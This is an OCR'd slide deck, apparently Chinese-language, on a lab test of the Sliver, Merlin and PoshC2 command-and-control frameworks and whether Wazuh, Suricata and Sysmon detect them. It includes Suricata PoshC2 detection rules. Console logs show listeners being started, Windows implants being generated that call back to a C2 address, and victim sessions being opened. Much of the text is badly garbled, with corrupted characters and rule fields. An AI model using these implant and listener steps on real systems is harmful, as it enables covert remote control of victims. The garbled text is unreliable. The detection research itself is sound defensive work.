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Im =aPha€ o] R 1% EDR

| Installed i
! Process Software !
| Endpoint Detection ° |
i and Response l
: Files EDR Memory i
i Activities Registry i
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Network activity
and traffic

Network activity

%@ and traffic —

Internet

Network Detection
and Response (NDR)
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Wazuh

= W. Endpoints windows

Threat Hunting  File Integrity Monitoring

D Status
0ol ® disconnected (3

IF address
192.168101.138

Events count evolution

400
300
200

Count

100

2025-03-28 00:00 2025-03-28 06:00

Configuration Assessment

Version
Wazuh v4.11.1

Group
default

2025-03-2812:00 2025-03-2818:00 2025-03-

timestamp per hour

MITRE ATT&CK

Vulnerability Detection

More...

Operating system
Microsoft Windows 10 Education

WAZUH

HERGRERS (RE IR

Count

307 hits

Mar 28, 2025 @ 18:04:41.266 - Mar 29, 2025 @ 02:43:53.512 per Auto h

80

60
40
20 . I
. _— __.-__——____ -_--. (S -
19:00 20:00 21:00 2200 23:00
timestamp per 10 minutes
Time _source

gar 28, 2825 data.tx_id: 8

input.type: log agent.ip: 192.168.181.138 agent.name: windows  agent.id: 8871 manager.name: wazuh.manager
23:24:37.687 1_pC36-421296B1456C)  data.src_ip: 192.168.181.133 data.src_port: 54598 data.event_type: alert data.alert.severity: 3 | dat
data.alert.metadata.performance_impact: Low data.alert.metadata.attack_target: Client_Endpoint data.alert.metadata.updated
data.alert.metadata.reviewed_at: 2024_84_15 |data.alert.metadata.created_at: 2823_11_15 data.alert.metadata.signature_sever
data.alert.gid: 1

data.alert.signature: ET INFD Observed File Hosting Service Domain (files .pythonhosted .org in TLS SNI)
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o
Su rI Cata » T » EEEE(C) » ProgramFiles » Suricata » log »

ks
i)

files 2025/3/26 M+ 10 EE
| evejson 2025/3/26 PF 11:04 50 OKE
| fastlog 2025/3/26 T 11:40  TEIH 2KB
| stats.|log 2025/3/26 PE 1104 IFAH 0 KB
| suricata.log 2025/3/26 & 27 NFENH KB
| fastlog - TEF

=P S8EE B0 BEV) BE

35283112 [**] [1:2022973:1
Q437508 [#*#*] [1:2100495:7
1.EBETIY [ *¥*#] [1:2024364:5
1661405  [#*#*] [1:2024364:5
| [1:
1 [1:

T INFO Pogzible Kali Linux hoztname |
FL ATTACE RESPONSE id check returned
T SCAN Pozzible Nuap Uger-fgent Obszed
T SCAN Pogzible Nunap Uzer-fgent Obzer
T SCAN Pozs=ible Nmap User-fgent Obsed
T SCAN Pogzible Nuap Uzer-fgent Obzer

I
1
I
I
I
!
I

G733 [ ] 20243645

3:29:

31384
3:40:1
3:40:1
3:40:1
3:40:11.663244 [ *¥] 20243645

ot e S

=]

1500 for
= W. Threat Hunting windows
5
]
Q
timestamp per 30 minutes
425 hits
Mar 26, 2025 @ 23:11:16.792 - Mar 27, 2025 @ 23:11:16.792
M Export Formatted 3 635 available fields @ = Columns [ Density ¢ 1fields sorted Full screen
- timestamp ~ agent.name ~  rule.description
s e o i i " [ Mar 27, 2025 @ 23:11:06.0... windows Suricata: Alert - GPL ATTACK_RESPONSE id check returned root
EERERERB RE—HEF 15
[ Mar 27, 2025 @ 23:10:26.0... windows Suricata: Alert - ET INFO Windows Powershell User-Agent Usage
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& MEPEIS MR (APT ) BN Z—
1001 o = n—
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BESIEEEIE - B MERSER - 23R EPERWABNE
A EE BN 1 498K SRR s DU BR % EBESEEN

RS AL B 7Y

. J \ J - S

BERERIERS RE— R 1



C2 ( Command and Control )

B C2 :

C2 ( Command and Control ) TEBR F SAPTEREE - T 224AKE 2B HEE
ﬁﬁﬁ’])\fxlﬁz EEZR - ELE TEAREREENEEZNTS - URIRFE - #1718
EN LS Fﬁ_FIJZ - RREENTEELSHE - TERARBNSEETIEEE -

B REIEEES ( Listener ) XIEMEFN BT

@ HTTPS [Hypertext Transfer Protocol Secure]

@ HTTP [Hypertext Transfer Protocol]

@ mTLS [Mutual Transport Layer Security]
€ DNS [Domain Name System]

© SMB [Server Message Block]
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Type of C2

e ===k

= el S 4
AN ER RS2 C2

40 I o 4
BI=X (IRC)

w2 =
(P2P) C2

B4 c2
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& B4 c2

EEMAN 2 P REPAERR - WEBEEH
hE IR R R A AN AV A < FIESE AR Eg -

‘ ZLE4EL (P2P) C2
PP E—EHHMNQER  HbESEEREMNA
HEERGBEE  MAKEBEPRRERES -

\ HELEESRE (DGA) C2
DGA Q22N EBEFRESE AEF XKZE0/1EAHC2{d
AR 22 04 RO T il -

AP 4ERII K (IRC) C2
IRCC2 B2—HEREN C2 X, - BfERA IRC /&
SRR A AR AETTIEA ©

B hs @A RS C2
REBNUNEBEZBRZ ERER - ZHBMNK
a2k 0B -
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C2 ( Command and Control )

mTLS

HERGRERS RE

mTLS
(-]
Attacker
(2 cL) @

C2 Server
(Listener)

/@%

Attacker
(C2 CLI)

— IR

mTLS
(

HTTP

Victim

(Implant/Agent)

HTTPS

|

/

Victim

(Implant/Agent)

(-]

Victim

Implant/Agent)

(Implant/Agent)



C2 ( Command and Control )

Open Source C2 (Command and Control)

M e e

% Star 3.5k % Star 5.2k % Star 774

@y Ba byShark E?J FudgeC2 [E C3

% Star 188 % Star 251 % Star 1.6k % Star 5.2k

% Star 4.3k % Star 1.9k % Star 261
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Sliver 748

DNS CanariesZ: (%12

Let's Encrypt /&

COFF/BOF FCiEAE Sl A %3

HERGRERS (RE IR

OISIOICI®
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Sliver #I1T1§<

Connecting to localhost:31337 ...

All hackers gain jump-start
Server v1.5.43 - ell6a5ec3d26e8582348a29cfd251f915ce4as0s
Welcome to the sliver shell, please type 'help' for options

sliver >

sliver > use

? Select a session or beacon:

SESSION d6ef8050 BIOLOGICAL_TEXT

TR ERERE RE—IHEF

sliver > generate -b 1 --0s windows

Generating new windows/amd64 implant binary
Symbol obfuscation is enabled
Build completed in 4mé4s

Implant saved to /home/kali/ '/BIOLOGICAL_TEXT.exe

:\Users'

rw-rw-rw-
r'w-rw-rw-

> 1s

\Downloads (14 items, 279.0 MiB)

23



Merlin Y48

7558 SMB ~ TCP ] UDP &5 &8 [ [0 1%
32 7 BRI BR T Bh (P2P) AT

OPAQUE : JE¥I 78 2 A5 50 75 <& i 30 1

EEEEAER Agent HY JA3 HASH

®DO®O
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Merlin #1T1E<

ID | COMMAND | STATUS | CREATED

—_—

ejeKSAGZAR | pwd | Sent | 2025-03-27T07:09:40Z

HERGERERS RE—TEF

2025-03-27T07

windows URL=https://]
export GODS=windows GO
ub.com/Ne@nd0g/merlin-
ain.psk=merlin” -X "mai
14.85 Safari/537.36°
h

- 35 A0S=a
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Posh C2 7T 48

A= 8Bl AV Payload

1% Docker IR E—RHIEFErIxE

®®®® O
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Posh C2 #{TIES

Implants

2025~03-27 08:23..|powershell DESKTOP-H29T6J8\CVR @ DESKTOP-HZQT...

> Select Implant ID(s) or 'all' (Enter to refresh):: 1

@ DESKTOP-H29T63

TR ERERE RE—IHEF
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AlEIRIR (EBREE ) "

IDS Alert WAZUH
/ A

¥ SURICATA®

% P@SHC2 /

MERLIN
E L Endpoint &
5 | | Log Alert

O T
o
/ C2 Server Internet Gateway
(Listener) R
|
| o r—
Attacker Victim

(C2 CLI) (Implant/Agent)
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AlEliRIR ( ERZREBE )

o

MERLIN

&

P@SHC2

BEREIHRTS RE—HA

Attacker & C2 Server
(C2 CLI & Listener)

HTTPS

_______________________

Endpoint &
IDS & Log Alert




AlE T T

HIFEL BT & RIGH 3 = Windows S{Ri& RV EHE

YA N A\ ir 2 Microsoft Defender SmartScreen ERIEEEEZNENEREDRE - #
> — K _E *AZ 7\5 W B"‘HE ThHERES I ftEErfNEREEaHED -
ﬂi :.i—- H

> 12 FHwindows defender

> C2 Server %3 HTTPS 878

» C2 Server £ IPv4 = g B AL

i= A% AE

> %Tﬁ@ﬁﬂ?ﬁ' Hv %EE)J 43z ;\_—Fdzjz 5 nIJ—:I Q,L%E% &35 R E 1 Microsoft Defender FiSZTERFSEmMBMESRTE -
BB EEIES M Tagent - (RIBETTTERHE | woms

U EEIFEERAEEENEE FEEWAT - Tl TR tHER
FE HEESTESDERHE -

O HHRERECHE  ECOSESERE -
@ ==
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C2 Agent #1117

[ s e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e - - === 1
| |
I B TEEES — O * I
: BRF ZEEO BEWV '
e o i |
I EEEE Wi EAESESDs Bf gRsE FHEEf Em I
I . I
[ ot PID Hee EAEEE CPU RER(E. UACEER Ao
I [0 csrss.exe 464 HTE SYSTEM oo TaBK FAEF |
: . . [# ctfman.exe 3492  HOP user oo 3800k CFH :
: Sllver & Merlln [&] dasHost.exe 4256  #AD LOCALSE.. 00 3,132K iz :
I [mE] dllhost.exe 2388 IOz user 00 548K CFEHR
|
I or —_ [m=] dllhost.exe 5804 =TT user oo 1,980 C==FH I
I ET $ﬂ’ / | [#5] dllhost.exe 4324 BT SYSTEM ] 884K FAE I
: K 17 exe age nt I m p a nt ] dllhost.exe 4488 HTE SYSTEM oo 1412 K S35 :
[2=] dwm.exe 564 Ek DVWI-1 01 43500k CfFH
| |
| m explorer.exe 5972 =ia® user 01 58824 K =EH I
| : fontdrvhost exe 280 Ha= UMNFD-O 00 276K EH I
I [E]LOVELY SHOE.exe 4092 #iF® user 00 8,404 K Eﬁ;:.EEI I
: | BET[E 558 exe FEFE ﬂ + ot [ EIV Ul 2. S0 K g 1
|

soft Corp

rshell https:

AP AN A PoshC2
AR #H1T powershell 5%
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C 2 $;ln ‘f_.l' mH

oo |1
'--'EI! '-="R|

All hackers gain exalted
Server v1.5.43 - ell6a5ec3d26e8582348a29cfd251f915ce4as05
Welcome to the sliver shell, please type 'help' for options
command

*] Check for updates with the 'update’

[server] sliver > https
] Starting HTTPS :443 listener ...
] Successfully started job #1
[server] sliver > generate --http 192.168.101.133

*] Generating new windows/amd64 implant binary
*] Symbol obfuscation is enabled
Compiling, please wait ...
*] Build completed in 5m4ls
] Implant saved to /root/c2/sliver/COMBATIVE_PRUNER.exe

[server] sliver >
] Session b56eb777 COMBATIVE_PRUNER - 192.168.101.138:49315 (DESKTOP-QBGJFSJ) - wir

[server] sliver > sessions

Name Transport Remote Address Hostname

b56eb777 COMBATIVE PRUNER http(s) 192.168.101.138:49315  DESKTOP- QBGJFSJ

[server] sliver > use b56eb777
] Active session COMBATIVE_PRUNER (bS56eb777-df83-4f25-9e39-cdb657ddbb78)
[server] sliver

> getuid

$-1-5-21-3576965798-1179767989-63722120-1000

~/c2/merlin

{"time":"2025-03~
03-04:00", "NotAfter":"2026-04-
{"time":"2025-03-28T10:44:42.
{"time":"2025-03-28T10:45:13.
{"time":"2025-03-28T10:45:48.
6","authenticator"”: "OPAQUE"
{"time":"2025-03-28T10:45:48.

I

listeners
list use https

HTTPS

HTTPS

(-]

2025 ¢
Creating in-men

>-03

, "transforms”

28T10:44:41.995897907-04:00",

03T10:44:41
030105989-04
523696526-04:00",
678209017-04:

100"

00",

"level":"INFO"

.983397403-04:00"}

, "level":"INFO"
"level":"INFO",
"level":"INFO",

"[jwe gob-base]"}

702527926-04:00" ,

> not

for

"level":"INFO",

set Interface 192.168.101.133

found at:
this ses

/root/c
sion only

tener L1ST¢

7ch-48e7dd4552d6

, 'msg":"

, ‘msg"
"msg” :
"msg":

"msg":"Certificate

Created new TLS certificate"

'"Start1ﬁg gRPC server on 127.0.0.1:50051"}

"Registered new RPC client with ID 195bfe8f-6197-4a3c-8682-d624

"Create new listener”,"protocol”:"HTTPS","address”:

was not found at:

root@kali: ~/c2/merlin 207x15

"192.168. 101

/root/c2/merlin/data/x509/server

.crt.

"name"”

Creating

,"Serial":240547946994432806257412296729128910010, "Subject": ["

:"My HTTP Li

in-memory X.5

EhRHERRE RE— 1R




A [ C2 Framework vs FREFFE T B (&8

C2 Framework

Sliver (HTTPS)

Merlin (HTTPS)

PoshC2 ( HTTPS)
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A [ C2 Framework vs FREFFE T B (&8

C2 Framework

Sliver (HTTPS) X X X
Merlin (HTTPS) X X X
PoshC2 ( HTTPS) % X X

XERUEBRZERIIABELSE  ERZEHD  ZnRHRNEYaamINER



1B Wazuh SR AZ2 ?

Wazuh £ SIEM W EZ/E A

e  Windows = H5S (Windows Event Logs)
e Sysmon Hit ( & 2% %= Sysmon )

- MEmmEHR

- BUWERINWHFETSESRHIDM

TR ERERE RE—IHEF



1B Wazuh SR AZ2 ?

Wazuh Ein#aFhE FNEZEA

- TEERSTEMETIE (File integrity monitoring, FIM ) : H syscheck B EE MR ETNH ZLUK
I AR MG BN HEEM SRR

- ZEEINHEA ( Malware detection ) : 7538 rootcheck HRAABIIE A AR P ETEEAARINTTA - o]l
BRET JE’JYARA CDB List ~ I0CSIZFHB B EIZ T HIEE S -

o ZEERTEFIE ( Security Configuration Assessment ) : ¥ EEFRR ENZEB{CREIRERFEE
&
o BEEPEZAFEIEOU ( Monitoring system calls ) : BES¥ZEADHT Linux Im&h RV R AENY - S# Rl olgENZE

BB o NIT /IR

« FEFOIFE ( Active Response ) : FEICIERIEHKRIEXEE - o] DIIRBEREHNEEEE - TEHF
ZE S RHBEEFHWITEIEREE -

TR ERERE RE—IHEF



A EE Wazuh E81ARF ?

Wazuh server
Monitored endpoint

@ Wazuh manager

9 Remoted —

Analysisd

1
!
1
Maonitored ! Monitored
directory ! directory
. ' Pre-decoding
Mpr:itoref ' T ! M_or:itoretd ) | —ao [ archives json
registry entry : . F2GIStry emry . ® Decoding
1 1
1
1
i
1
1

Syscheckd Syscheckd l —ao [ alertsjson '

(Bt | sysoncals g - |
' Rootcheck ‘ Rootcheck Rule matching
Rootkit signatures ' Rootkit signatures '

* Check if a process is running

»  Checkif a file is present
* Check if the content of a file contains a pattern or if a

Windows registry key contains a string or is simply present.

BT SR RE— R
https://documentation.wazuh.com/current/user-manual/capabilities/malware-detection/rootkits-behavior-detection.html



1T E Wazuh {5/ A 2 ?

https://www.sentinelone.com/ https://www.crowdstrike.com/

et BIR « ZRIBINEEER « TTRDSIE

2.1
Wazuh Agent Z#E{T7E User Space

HERGERERS RE—TEF



Sub-Category Carbon Black  Cortex XDR

CrowdStrike Cybereason ESET Inspect Elastic Harfanglab LimaCharlie MDE Qualys Sentinel One  Symantec SES Complete

Process Creation

Process Termination
Process Access
Image/Library Loaded
Remote Thread Creation
Process Tampering Activity
File Creation

File Opened

File Deletion

File Modification

File Renaming

Local Account Creation
Local Account Modification
Local Account Deletion
Account Login

Account Logoff

TCP Connection

UDP Connection

URL

DNS Query

File Downloaded

MD5

SHA

IMPHASH

Key/Value Creation
Key/Value Modification
Key/Value Deletion
Scheduled Task Creation
Scheduled Task Modification
Scheduled Task Deletion

X
X
X

Source: EDR-Telemetry Github

XBXAEAEXAEAIXXABERAAXXXXXABXBABXAXXAXAa
S XBRXAEXAXAXXXAaAXa8aeaAaxa
X8R XBAXXrpFE=Q8A8XXXAAAEAEXAOEAA

Service Creation
Service Modification

Service Deletion

XXeEXXXAB8XAAXAEXAAee XXX B8B8>0Q
Xeooee AIXAIXAEXAAAeeeoedX>"008080808
XXXXXXX8rA8 XX X880
U0 B B U I < I < I < BE- < IR < Dl < IE- < IO < IO < I < IO U IR0 IR < IR < I < I < IO IR I I < IO < I < I <
Xeowoeoeese XA el XA XEA
2 lAEAXXXA/ARXA8RPAAXEXXXXAEAXAAOOQEAAQ

XXX Q@
XXB8XA8Q8r X888 X8R XXXAEXBXA 088388

R SIS RE— R
https://github.com/tsale/EDR-Telemetry



User Mode vs Kernel Mode

Criteria

Kernel mode

User mode

Privilege level

Highest privilege level.

Lower privilege level.

Full access to hardware and

Restricted access; needs system

Access . .
memory. calls to interact with hardware.
Stabilit Less stable, as errors can crash More stable, errors typically only
Y the system. affect the running application.
Less secure, vulnerabilities can More secure, as vulnerabilities
Security impact the entire system. are usually isolated to individual

processes.

TR ERERE RE—IHEF

https://wazuh.com/blog/how-wazuh-provides-endpoint-security-without-kernel-level-access/




1B Wazuh SR AZ2 ?

Wazuh )2 BERIZIR O] gE[R X
Windows 85 Event Log ECEEA B
HEs AR / HEnARUEE / AR BIRBIUA
Wazuh 25 o] B 14 PR
B RO FIM (12252214 ) -~ Rootcheck ( rootkit 181 )
B SHEGBEMEDR EEETRERETAEE
C2 ER R B EE N EEN—/\E

B RERHEERRETR  AERER)
PUS Ba 38 o] Ba %

el

1774 ( Credential Dumping ~ DLL Injection ) - Pf

TR ERERE RE—IHEF



Suricata

BEREIHRTS RE—HA

A4S

emerging-all.rules 1A S

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M2"; flow:established,to_server; h
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
SsLDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated at 2022 85 @6, mitre_tactic_id TAeell, mi

alert udp $HOME_NET any -> any ![88,443] (msg:"ET MALWARE Win32/PlugX Wariant CnC Activity"; dsize:24; content:"|38 @8|"; startswith; con
track by _src; reference:url,www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html;
Perimeter, deployment Imternal, malware_family Win32_DLOADR_TIOIBEPQ, performance_impact Low, confidence High, signature_severity Major,

alert http $HOME_NET any -> $EXTERMAL NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M5"; flow:established,to_server; h
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.iofen/latest/; classtype:command-and-control; sid:2836514; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 @5 @6, mitre_tactic_id TA®@11l, mitre_tactic_n

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M&"; flow:established,to_server; h
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-control; sid:2836515; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 @5 @6, mitre tactic_id TA®@1ll, mitre_tactic_n

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M7"; flow:established,to_server; h
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
S5LDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated at 2022 85 @6, mitre_tactic_id TAe21ll, mi

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M8"; flow:established,to_server; h
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.iofen/latest/; classtype:command-and-control; sid:2836517; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822_@5_86, mitre_tactic_id TA®811l, mitre_tactic_n

alert http $HOME_MNET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M9"; flow:established,to_server; h
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-control; sid:2836518; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 85 86, mitre_tactic_id TA®@11, mitre_tactic_n

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M1@"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc.readthedocs.iofen/latest/; classtype:command-and-control; sid:2@36519; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 @5 @6, mitre tactic_id TAe®1ll, mitre_tactic_n

alert http $HOME_MNET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M11™; flow:established,to_server;
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
S5LDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2022_85_ @6, mitre_tactic_id TA®211l, mi

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M12"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.iofen/latest/; classtype:command-and-control; sid:2836521; r
malware_family PoshC2, confidence High, signature_severity Major, tag c2, updated_at 2822 85 86, mitre_tactic_id TA®211l, mitre_tactic_nam




Suricata {E;845

emerging-all.rules 1A S

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M2"; flow:established,to_server; h
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M5";
flow:established,to_server; http.uri; content:"/async/newtab/"; startswith; fast pattern; content:"/?"; within:38;

isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/;
classtype:command-and-control; sid:2036514; rev:2; metadata:attack_target Client_Endpoint, created_at 2022_05 06,
deployment Perimeter, deployment SSLDecrypt, malware family PoshC2, confidence Medium, signature_severity
Major, tag c2, updated at 2022 05 06, mitre_tactic_id TAO0O11l, mitre_tactic name Command_And_ Control,
mitre_technique_id T1071, mitre_technique_name Application_Layer Protocol;)

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M1@"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc.readthedocs.iofen/latest/; classtype:command-and-control; sid:2@36519; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 @5 @6, mitre tactic_id TAe®1ll, mitre_tactic_n

alert http $HOME_MNET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M11™; flow:established,to_server;
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
S5LDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2022_85_ @6, mitre_tactic_id TA®211l, mi

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M12"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.iofen/latest/; classtype:command-and-control; sid:2836521; r
malware_family PoshC2, confidence High, signature_severity Major, tag c2, updated_at 2822 85 86, mitre_tactic_id TA®211l, mitre_tactic_nam
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2025/3/289 T4 08:23:43  Sysmon 16 Sysmo...
2025/3/289 T 08:23:12  Sysmon 4 Sysmo.. w
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—HR  mEEs
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Process Create:
RuleMame: -
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EEFU: SYSTEM ERE(R): DESKTOP-CB

s |

il |

TR

Log collection

Application (eventchannel)
Security (eventchannel)
System (eventchannel)
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Log analysis from text files, Windows events or syslog outputs
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Windows events logs
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Log format

Channel

Query

Only future events

Reconnect Time

eventchannel

Microsoft-Windows-Sysmon/Operational

& Sysmon S E S 2 Wazuh

¢localfile:

<location»Microsoft-Windows-5ysmon/Operational</location>

<log_format»eventchannel</log_format>»

<flocalfile>




EENZE : Internet C2 Server

R =
REBEAERFAE: #2 AWS Marketplace Efm
AWS E $ BRI - S -
%E s I e TR [ Q kalilinux
'\;‘:__\H :'Hﬂ = = RS v FERE Ee
58 AWS E B EaE R B E e o
q 23 = 12 BA % > i Li E#E)=E E
B SEH kali linux (22 &
sEms Amazon EC2 N -
Kali Linux
- + TN Kalitinux)
= 750 /J\H\__]' {74 Kali [7 | 45 2025.1a-amd64
v E@RER =5 [K:]AL' Jokok ol 21 % AWS T [2
BIREIRS e ERTTHRENEEEE. N KaliLinux (formerly known as BackTrack Ling
e Auditing. It does this by providing common

£E 2EEEE 750 {E/\&#Y Linux. RHEL.

& AWS Marketplace

EC2 < ® HiThEIEIES % i-03e11e77d5a54661¢C

PR Linux kali 6.12.13-cloud-amd64 #1 SMP PREEMPT DYNAMIC Kali 6.12.13-1kalil |

FEE BITIERE (1) 2=

tree 1 frootjc2

1= (case-sensitive) S

v H{T{ERE 0| Nameg v | miFEEID | mirmEEgE v | E
niTE= D Kali-Linux i-03e11e77d5a54661c @i_flﬁqi ®Q
miTERER DT —————————————————————— 4 directories, @ files

TR ERERE RE—IHEF



=
Pl
—t
Il
il

AISIEIE (ERAEE )

_______________________

Endpoint &
IDS & Log &
Sysmon Alert

% P@SHC2

|

|

|

|

|

|

1 MERLIN

|

: T T
: o : ) ¥
I HTTPS HTTPS l I | G-,
: Attacker & C2 Server : — :
| (C2 CLI & Listener) : Victim =- |
: : ¢ Sysmon :
| | |

Internet

BERISHRERA (RE— R



A [ C2 Framework vs BEREPGE T B{E 8151

C2 Framework

Sliver (HTTPS) X X X o
Merlin (HTTPS) X X X o
PoshC2 ( HTTPS) v % % v

XERUEBRZERIIABELSR  ERZEND  ZRHRNEYaamINER



Suricata {8845

emerging-all.rules 1A S

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M2"; flow:established,to_server; h
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
SsLDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated at 2022 85 @6, mitre_tactic_id TAeell, mi

alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M5";
flow:established,to_server; http.uri; content:"/async/newtab/"; startswith; fast_pattern; content:"/?"; within:38;
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/;

classtype:command-and-control; sid:2036514; rev:2; metadata:attack_target Client_Endpoint, created_at
2022 _05 06, deployment Perimeter, deployment SSLDecrypt, malware family PoshC2, confidence Medium,
signature_severity Major, tag c¢2, updated at 2022 05 06, mitre tactic_ id TAO0011, mitre_tactic_name
Command_And_Control, mitre technlque id T1071, mitre technlque name Appllcatlon Layer Protocol;)

- o =] = edl = e a VD 5 o
malware 'Famlly PoshCZ confldence Hedlum 51gnature sever‘l‘ty Ma]or‘ tag c2, upda‘ted at 2922 a5_es, mltre tactic_. 1d T.ABB‘J.] m_l.tr'e ‘tactlc _n

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M1@"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc.readthedocs.iofen/latest/; classtype:command-and-control; sid:2@36519; r
malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2822 @5 @6, mitre tactic_id TAe®1ll, mitre_tactic_n

alert http $HOME_MNET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M11™; flow:established,to_server;
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/; classtype:command-and-
S5LDecrypt, malware_family PoshC2, confidence Medium, signature_severity Major, tag c2, updated_at 2022_85_ @6, mitre_tactic_id TA®211l, mi

alert http $HOME_MET any -> $EXTERMAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M12"; flow:established,to_server;
reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.iofen/latest/; classtype:command-and-control; sid:2836521; r
malware_family PoshC2, confidence High, signature_severity Major, tag c2, updated_at 2822 85 86, mitre_tactic_id TA®211l, mitre_tactic_nam
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alert http SHOME_NET any -> SEXTERNAL_NET any (msg:"ET MALWARE PoshC2 - Observed Default URI Structure M5";
flow:established,to_server; http.uri; content:"/async/newtab/"; startswith; fast_pattern; content:"/?"; within:38;
isdataat:!16,relative; reference:url,github.com/nettitude/PoshC2/; reference:url,poshc2.readthedocs.io/en/latest/;

classtype:command-and-control; sid:2036514; rev:2; metadata:attack_target Client_Endpoint, created_at 2022_05_06,

deployment Perimeter, deployment SSLDecrypt, malware family PoshC2, confidence Medium, signature_severity

Major, tag c2, updated at 2022 05 06, mitre_tactic_id TAO0O11l, mitre_tactic name Command_And_Control,
mitre_technique_id T1071, mitre_technique_name Application_Layer Protocol;)

AT AB fET
AR alert http HTTP A8 MEETTHEA

3RiE IP/Port  $HOME_NET any

REBAES (SHOME_NET) =% 0

B1E IP/Port $EXTERNAL_NET any

SNERABES (SEXTERNAL_NET) &

fig B3 & flow:established,to_server; QBRI B2 HTTP &R - H AR EZENRE
HTTP URI  http.uri; content:."/async/newtab/"; startswith; URI @ ZELL /async/newtab/ FABE - 55& PoshC2 RITERE C2 &18
HTTP 28 content"/?"; within:38; URI REZEIE /? - EHEIRTER] 38 A= TN
BERNREM®E isdataat:!16,relative; ZXRHFENERRE/NR 16 bytes - E 0852 PoshC2 %l
niE classtype:command-and-control; DERS C25E
a3 Bl 5 sid:2036514; rev:2; #3281 ID 2036514 (1B5T AR 2)

MITRE ATT&CK mitre_tactic_id TAOO11, mitre_technique_id T1071

g1l : Command & Control (TA0011) ~ £y : ERARE#HE (T1071)

reference:url,github.com/nettitude/PoshC2/;

£ AA;" - %“é AA}/\”“ = i =
SERIR reference:url,poshc2.readthedocs.io/en/latest/; EHR7 PoshC2 B7 GitHub & B7530fF
BEEEERE  malware_family PoshC2 IEAR RIEPIER] PoshC2




Suricata &l

4=

nE

£ Posh C2 B4 HTTP B8

FERMEMEE Posh C2 TREE

I~ Expanded document

Table JSOMN

Time

rule.deseription

Mar 29, 2825 Suricata: Alert - ET MALWARE PoshC2 - Observed Default URI Structure M31

17:33:11.387

Count

25
15

05

17:28:30 17:29:00

Time rule.description
Mar 29, 2825 Suricata: Alert - ET MALWARE
e

17:33:11.381

Mar 29, 2825 Suricata: Alert - ET MALWARE
§7:33195.322
